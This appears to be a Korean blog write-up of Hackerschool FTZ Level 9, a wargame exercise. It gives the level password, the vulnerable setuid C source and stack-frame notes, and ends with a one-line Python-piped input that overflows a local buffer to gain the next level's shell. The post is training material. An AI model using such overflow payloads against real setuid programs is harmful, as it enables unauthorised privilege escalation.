본문 바로가기

리버싱/FTZ

해커스쿨 FTZ Level9 (버퍼오버플로우 : 로컬영역 침범)

ID : level9

Password : apple


힌트 : 


다음은 /usr/bin/bof의 소스이다.

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


main(){


  char buf2[10];

  char buf[10];


  printf("It can be overflow : ");

  fgets(buf,40,stdin);


  if ( strncmp(buf2, "go", 2) == 0 )

   {

        printf("Good Skill!\n");

        setreuid( 3010, 3010 );

        system("/bin/bash");

   }


}

이를 이용하여 level10의 권한을 얻어라. 



문제를 풀기 전에 :


함수 호출의 스택 구조 변화는 다음 그림과 같다.



이는 기초적인 함수 수행을 gdb로 분석하면서 필요한 부분만 요약한 그림이다.


여기서 중요하지는 않지만 훗날 fake ebp를 이해하기 위해선 leave 와 ret가 실제 수행하는 어셈블 코드를 알아야 한다.


1. leave 의 실제 수행 코드


mov ebp, esp

pop ebp



2. ret 의 실제 수행 코드


pop eip

jmp eip



ctf 문제를 풀이하다보면 인자를 파이썬 코드 수행 결과로 넘겨야 하는 경우가 생긴다.

main의 argv로 인자를 받는 경우도 있고 fget을 통해 인자를 받는 경우도 있다. 

실행방법은 여러가지가 있으나 보통 아래와 같은 방법으로 문제풀이를 진행한다.



3. main(int argvc, char* argv[]){방식으로 argv로 문자열을 받는 경우 전달방법


./program `python -c 'print "text1" + "text2" ' ` 

또는

./program $(python -c 'print "text1" + "text2" ' )



4. fget으로 인자를 받는 경우 전달 방법


(python -c 'print "text1" + "text2"' ; cat) | ./program


방법은 다양하다 cat 대신 cut을 이용하는 경우도 존재한다. 



풀이 :


buf2에 go 라는 텍스트를 집어 넣으면 된다.

대충 20 개 정도의 버퍼의 크기에 go라는 문자열을 집어넣자.


 (python -c 'print "go" * 10 ' ;cat) | /usr/bin/bof


위와 같이 입력하게 되면 fget은 40개의 문자열을 받아들이므로 buf의 크기를 초과하여 받아 들이게 된다. 


로컬 변수의 경우 공격하려는 버퍼가 값을 받는 버퍼보다 상위에 선언되어야만 가능하다.

지금의 경우 buf2가 buf 보다 상위에 선언되었으므로 가능하다.


값을 넣다보면 buf2의 영역까지 초과하여 go라는 텍스트를 작성하게 된다.



입력 후 


 my-pass 


를 입력하면 암호를 얻을 수 있다.